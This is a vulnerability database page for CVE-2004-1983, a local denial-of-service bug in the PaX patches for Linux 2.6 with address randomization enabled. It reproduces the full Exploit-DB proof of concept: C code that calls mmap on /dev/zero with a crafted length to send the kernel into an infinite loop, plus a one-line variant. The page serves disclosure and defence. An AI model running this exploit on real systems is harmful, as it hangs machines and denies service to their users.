CVE-2004-1983 : Detail

CVE-2004-1983

0.04%V3
Local
2005-05-10
02h00 +00:00
2017-07-10
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The arch_get_unmapped_area function in mmap.c in the PaX patches for Linux kernel 2.6, when Address Space Layout Randomization (ASLR) is enabled, allows local users to cause a denial of service (infinite loop) via unknown attack vectors.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 24078

Publication date : 2004-05-02 22h00 +00:00
Author : Shadowinteger
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/10264/info PaX for 2.6 series Linux kernels has been reported prone to a local denial of service vulnerability. The issue is reported to present itself when PaX Address Space Layout Randomization Layout (ASLR) is enabled. The vulnerability may be exploited by a local attacker to influence the kernel into an infinite loop. */ /* PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept by Shadowinteger <[email protected]> 2004-05-04 Written after reading the security advisory posted by borg (ChrisR-) on Bugtraq 2004-05-03 (my time). ChrisR -> www.cr-secure.net Acknowledgments: sabu (www.sabu.net) Vulnerability: PaX code for 2.6.x prior to 2004-05-01 in arch_get_unmapped_area() (function in mm/mmap.c) is vulnerable to a local Denial of Service attack because of a bug that puts the kernel into an infinite loop. Read the security advisory for more info: http://www.securityfocus.com/archive/1/361968/2004-04-30/2004-05-06/0 Exploitation: We need to get passed the following line of code in arch_get_unmapped_area() to succeed with a DoS: if (TASK_SIZE - len < addr) { ... We do it like this: TASK_SIZE - TYPICAL_ADDR + SINK = DOSVAL DOSVAL is the value we'll use. arch_get_unmapped_area() does the following: if TASK_SIZE-DOSVAL < TYPICAL_ADDR then... run right into the vuln code. (TASK_SIZE-DOSVAL) *must* be less than TYPICAL_ADDR to succeed. A DOSVAL of e.g. 0x80000000 or above will work most times, no real need for the funky calculation above. There are quite a few functions available that are "front-ends" to arch_get_unmapped_area(). This exploit uses good-old mmap(). Tiny DoS PoC: #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> int main(void){int fd=open("/dev/zero",O_RDONLY);mmap(0,0xa0000000,PROT_READ,MAP_PRIVATE,fd,0);} */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <stdio.h> #define TASK_SIZE 0xc0000000 #define TYPICAL_ADDR 0x43882000 #define SINK 0x04000000 #define DOSVAL (TASK_SIZE - TYPICAL_ADDR + SINK) int main() { int fd = open("/dev/zero", O_RDONLY); printf("PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept\n" "by Shadowinteger <[email protected]> 20040504\n" "created after a sec advisory on bugtraq posted by borg (ChrisR-) 20040503\n" "ChrisR -> www.cr-secure.net\n" "\n" "the exploit binary must be marked PF_PAX_RANDMMAP to work!\n" "\n" "greetz goes to: sabu (www.sabu.net)\n" "\n" "------------------------------------------------------------------------------\n" "will exec \"mmap(0, 0x%x, PROT_READ, MAP_PRIVATE, fd, 0);\"\n" "\n" "if you run Linux 2.6.x-PaX or -grsec, this may \"hurt\" your CPU(s) a little,\n" "are you sure you want to continue? [type Y to continue] ", DOSVAL); fflush(stdout); if (getchar() != 'Y') { printf("aborted.\n"); return 0; } printf("\n" "attempting to DoS...\n"); if (mmap(0, DOSVAL, PROT_READ, MAP_PRIVATE, fd, 0) == MAP_FAILED) { perror("mmap"); } printf("your kernel does not seem to be vulnerable! :)\n"); return 0; }

Products Mentioned

Configuraton 0

The_pax_team>>Pax_linux >> Version 2.6.5

    Configuraton 0

    Gentoo>>Linux >> Version 1.4

    References

    http://marc.info/?l=bugtraq&m=108420555920369&w=2
    Tags : mailing-list, x_refsource_BUGTRAQ
    http://pax.grsecurity.net/
    Tags : x_refsource_CONFIRM
    http://marc.info/?l=bugtraq&m=108360001130312&w=2
    Tags : mailing-list, x_refsource_BUGTRAQ
    http://security.gentoo.org/glsa/glsa-200407-02.xml
    Tags : vendor-advisory, x_refsource_GENTOO
    http://www.securityfocus.com/bid/10264
    Tags : vdb-entry, x_refsource_BID